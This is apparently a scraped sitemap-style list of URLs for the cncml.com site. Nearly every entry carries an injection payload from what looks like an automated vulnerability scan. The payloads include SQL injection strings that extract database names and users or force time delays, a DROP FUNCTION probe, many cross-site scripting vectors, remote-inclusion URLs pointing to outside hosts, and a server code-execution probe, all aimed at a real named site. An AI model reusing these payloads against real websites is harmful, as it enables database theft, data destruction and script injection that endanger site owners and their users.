http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%25%27%29%20AND%2061%3D19%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND%2033=12%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(94=49)%20THEN%20'forum'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%2527 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%2527%20AND%2031=86%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%5B%5D 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%5C%22 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%5C' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%bf%27 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%20'2C'='kh 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%20OR%20'Wr'='Wr'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(74=48)%20THEN%20'forum'%20ELSE%200x28%20END))%20AND%20'YC'='YC 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%22 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%2081=71%20AND%20('1i'='1i 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(57=76)%20THEN%20'forum'%20ELSE%200x28%20END))%20AND%20('kV'='kV 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum';%20IF(41=18)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum);%20IF(37=69)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum6633x3X6 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forumAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forumJyI%3D 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forumalert(42873) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forume360 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=phpinfo 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=response.write(9412458*9542755) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=set%7Cset&set 0.0001 http://www.cncml.com/search.php?xss_test%3Cscript%3Eprompt(42873);%3C/script%3E 0.0001 http://www.cncml.com/source/ 0.0004 http://www.cncml.com/source/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/source/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/source/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/source/?overview 0.0001 http://www.cncml.com/source/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/source/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/source/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/source/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/source/plugin/ 0.0004 